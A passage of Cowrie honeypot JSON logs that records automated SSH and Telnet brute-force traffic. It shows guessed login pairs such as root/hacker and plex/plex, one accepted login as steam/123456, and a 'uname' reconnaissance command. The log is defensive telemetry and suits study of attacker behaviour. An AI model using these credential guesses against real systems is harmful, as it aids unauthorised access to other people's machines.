e"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:45.858238Z","src_ip":"147.45.211.215","session":"edc1ef5b861d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hacker","message":"login attempt [root/hacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:46.361350Z","src_ip":"147.45.211.215","session":"edc1ef5b861d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:47.530685Z","src_ip":"147.45.211.215","session":"edc1ef5b861d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":33904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7aeffaafc9d","protocol":"ssh","message":"New connection: 176.32.39.21:33904 (10.17.0.5:22) [session: d7aeffaafc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:49.668512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:49.673560Z","src_ip":"176.32.39.21","session":"d7aeffaafc9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:49.794396Z","src_ip":"176.32.39.21","session":"d7aeffaafc9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333666","message":"login attempt [root/333666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:50.154395Z","src_ip":"176.32.39.21","session":"d7aeffaafc9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":36839,"dst_ip":"159.203.135.109","dst_port":22,"session":"e82593f132b8","protocol":"ssh","message":"New connection: 103.24.63.85:36839 (159.203.135.109:22) [session: e82593f132b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:50.779842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:50.867347Z","src_ip":"103.24.63.85","session":"e82593f132b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:50.970383Z","src_ip":"103.24.63.85","session":"e82593f132b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:51.275862Z","src_ip":"176.32.39.21","session":"d7aeffaafc9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:51.712505Z","src_ip":"103.24.63.85","session":"e82593f132b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:52.907775Z","src_ip":"103.24.63.85","session":"e82593f132b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40424,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8a26508c3b","protocol":"telnet","message":"New connection: 192.119.13.58:40424 (10.17.0.5:23) [session: 7d8a26508c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:59.091887Z"}
{"eventid":"cowrie.session.closed","duration":0.005560636520385742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:59.097334Z","src_ip":"192.119.13.58","session":"7d8a26508c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51709508895874,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:23:59.587115Z","src_ip":"192.119.13.58","session":"a8c2f72a5d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52098,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be2e97b460a","protocol":"telnet","message":"New connection: 192.119.13.58:52098 (10.17.0.5:23) [session: 5be2e97b460a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:02.402212Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52902,"dst_ip":"10.17.0.5","dst_port":23,"session":"f142512c2fed","protocol":"telnet","message":"New connection: 192.119.13.58:52902 (10.17.0.5:23) [session: f142512c2fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:02.648782Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":16149,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9ff571e242c","protocol":"ssh","message":"New connection: 103.24.63.85:16149 (159.203.135.109:22) [session: a9ff571e242c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:07.740796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:07.745519Z","src_ip":"103.24.63.85","session":"a9ff571e242c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:07.956483Z","src_ip":"103.24.63.85","session":"a9ff571e242c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:08.720467Z","src_ip":"103.24.63.85","session":"a9ff571e242c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:09.265008Z","src_ip":"103.24.63.85","session":"a9ff571e242c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:09.268598Z","src_ip":"103.24.63.85","session":"a9ff571e242c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:09.474643Z","src_ip":"103.24.63.85","session":"a9ff571e242c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:09.600076Z","src_ip":"103.24.63.85","session":"a9ff571e242c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24949550628662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:13.848935Z","src_ip":"192.119.13.58","session":"252d522e8dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46024,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1fba03d7fed","protocol":"telnet","message":"New connection: 192.119.13.58:46024 (10.17.0.5:23) [session: c1fba03d7fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:14.714370Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":58752,"dst_ip":"10.17.0.5","dst_port":22,"session":"54b17f1bcc11","protocol":"ssh","message":"New connection: 94.159.98.239:58752 (10.17.0.5:22) [session: 54b17f1bcc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:15.561856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:15.785839Z","src_ip":"94.159.98.239","session":"54b17f1bcc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:15.790129Z","src_ip":"94.159.98.239","session":"54b17f1bcc11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159159159","message":"login attempt [root/159159159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:16.930159Z","src_ip":"94.159.98.239","session":"54b17f1bcc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:18.202376Z","src_ip":"94.159.98.239","session":"54b17f1bcc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.26054096221924,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:25.683208Z","src_ip":"192.119.13.58","session":"598e0d2423ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53310,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e77a06836a","protocol":"telnet","message":"New connection: 192.119.13.58:53310 (10.17.0.5:23) [session: f4e77a06836a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:30.087677Z"}
{"eventid":"cowrie.session.closed","duration":31.28829312324524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:33.936980Z","src_ip":"192.119.13.58","session":"f142512c2fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46498,"dst_ip":"10.17.0.5","dst_port":23,"session":"340be5657b3c","protocol":"telnet","message":"New connection: 192.119.13.58:46498 (10.17.0.5:23) [session: 340be5657b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:35.381219Z"}
{"eventid":"cowrie.session.closed","duration":38.206066846847534,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:40.608123Z","src_ip":"192.119.13.58","session":"5be2e97b460a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34598,"dst_ip":"10.17.0.5","dst_port":23,"session":"679fd168888d","protocol":"telnet","message":"New connection: 192.119.13.58:34598 (10.17.0.5:23) [session: 679fd168888d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:47.353150Z"}
{"eventid":"cowrie.session.closed","duration":33.5437216758728,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:48.257978Z","src_ip":"192.119.13.58","session":"c1fba03d7fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42396,"dst_ip":"10.17.0.5","dst_port":23,"session":"82845cfa8266","protocol":"telnet","message":"New connection: 192.119.13.58:42396 (10.17.0.5:23) [session: 82845cfa8266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:24:49.844785Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93eccf94507","protocol":"telnet","message":"New connection: 192.119.13.58:46376 (10.17.0.5:23) [session: a93eccf94507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:02.297785Z"}
{"eventid":"cowrie.session.closed","duration":33.24352669715881,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:08.624628Z","src_ip":"192.119.13.58","session":"340be5657b3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.83531475067139,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:09.922841Z","src_ip":"192.119.13.58","session":"f4e77a06836a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56158,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf6e0c00d24d","protocol":"telnet","message":"New connection: 192.119.13.58:56158 (10.17.0.5:23) [session: cf6e0c00d24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:15.418394Z"}
{"eventid":"cowrie.session.closed","duration":33.60802865028381,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:20.961074Z","src_ip":"192.119.13.58","session":"679fd168888d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45188,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ae37d7f3a7","protocol":"telnet","message":"New connection: 192.119.13.58:45188 (10.17.0.5:23) [session: a5ae37d7f3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:21.261909Z"}
{"eventid":"cowrie.session.closed","duration":31.804203271865845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:21.648890Z","src_ip":"192.119.13.58","session":"82845cfa8266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51858,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b437dd11ad2","protocol":"telnet","message":"New connection: 192.119.13.58:51858 (10.17.0.5:23) [session: 5b437dd11ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:23.623389Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8444b43ce175","protocol":"telnet","message":"New connection: 192.119.13.58:37824 (10.17.0.5:23) [session: 8444b43ce175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:28.903721Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41896,"dst_ip":"10.17.0.5","dst_port":23,"session":"4abdeeeafb72","protocol":"telnet","message":"New connection: 192.119.13.58:41896 (10.17.0.5:23) [session: 4abdeeeafb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:30.292219Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51084,"dst_ip":"10.17.0.5","dst_port":23,"session":"665e9c82f704","protocol":"telnet","message":"New connection: 192.119.13.58:51084 (10.17.0.5:23) [session: 665e9c82f704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:33.530231Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56996,"dst_ip":"10.17.0.5","dst_port":23,"session":"140700462f20","protocol":"telnet","message":"New connection: 192.119.13.58:56996 (10.17.0.5:23) [session: 140700462f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:35.639816Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":64117,"dst_ip":"159.203.135.109","dst_port":22,"session":"26c50b0f3e91","protocol":"ssh","message":"New connection: 103.24.63.85:64117 (159.203.135.109:22) [session: 26c50b0f3e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:37.360075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:37.364897Z","src_ip":"103.24.63.85","session":"26c50b0f3e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:37.561803Z","src_ip":"103.24.63.85","session":"26c50b0f3e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34526,"dst_ip":"10.17.0.5","dst_port":23,"session":"896a3b4c098d","protocol":"telnet","message":"New connection: 192.119.13.58:34526 (10.17.0.5:23) [session: 896a3b4c098d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:37.604897Z"}
